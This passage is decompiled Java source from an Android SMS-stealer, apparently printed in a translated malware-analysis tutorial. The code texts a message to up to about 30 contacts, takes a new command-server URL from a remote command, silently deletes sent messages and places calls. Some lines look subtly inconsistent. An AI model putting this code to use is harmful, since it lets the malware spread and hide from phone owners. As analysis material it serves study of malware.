Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
for (int i = 1; i < 30; i++) {
if (allContacts.moveToNext()) {
if (contactIds.moveToFirst()) {
recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
if (recipientPhoneNumber != null) {
sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
}
}
}
}
}
break;case "new_url":
String url = commandJson.optString("text");
if (url.length() > 10) {
sharedPreferenceEditor.putString("url", url).commit();
sharedPreferenceEditor.putString("inst", "1").commit();
}
break;public static void removeSentMessages(Context context, String body, String numberTo) {
try {
Uri parse = Uri.parse("content://sms/inbox");
Cursor query = context.getContentResolver().query(parse, new String[]{"_id", "thread_id", "person", "date", "body"}, null, null, null);
if (query == null) {
return;
}
if (query.moveToFirst()) {
do {
long firstMessage = query.getLong(0);
String thread_id = query.getString(2);
if (body.equals(query.getString(5))) {
if (thread_id.equals(numberTo)) {
context.getContentResolver().delete(Uri.parse("content://sms/" + firstMessage), null, null);
}
}
} while (query.moveToNext());
}
} catch (Throwable th) {
}}public final void callPhoneNumber(Context context, String phoneNumber) {
((TelephonyManager) context.getSystemService("phone")).listen(new q(this, context, (byte) 0), 32);
Intent intent = new Intent("android.intent.action.Call");
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setData(Uri.fromParts("tel", phoneNumber, "#"));
context.startActivity(intent);}final class q extends PhoneStateListener {
Context context;
final TelephonyManagerWrapper2 telephonyManagerWrapper2; private q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context) {
this.telephonyManagerWrapper2 = telephonyManagerWrapper2;
this.context = context;
}
q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context, byte b) {
this(telephonyManagerWrapper2, context);
} public final void onCallStateChanged(int i, String str) {
}}本文翻译自:https://maxkersten.nl/binary-analysis-course/malware-analysis/android-sms-stealer/
翻译作者:lucywang 原文地址:https://www.4hou.com/technology/16348.html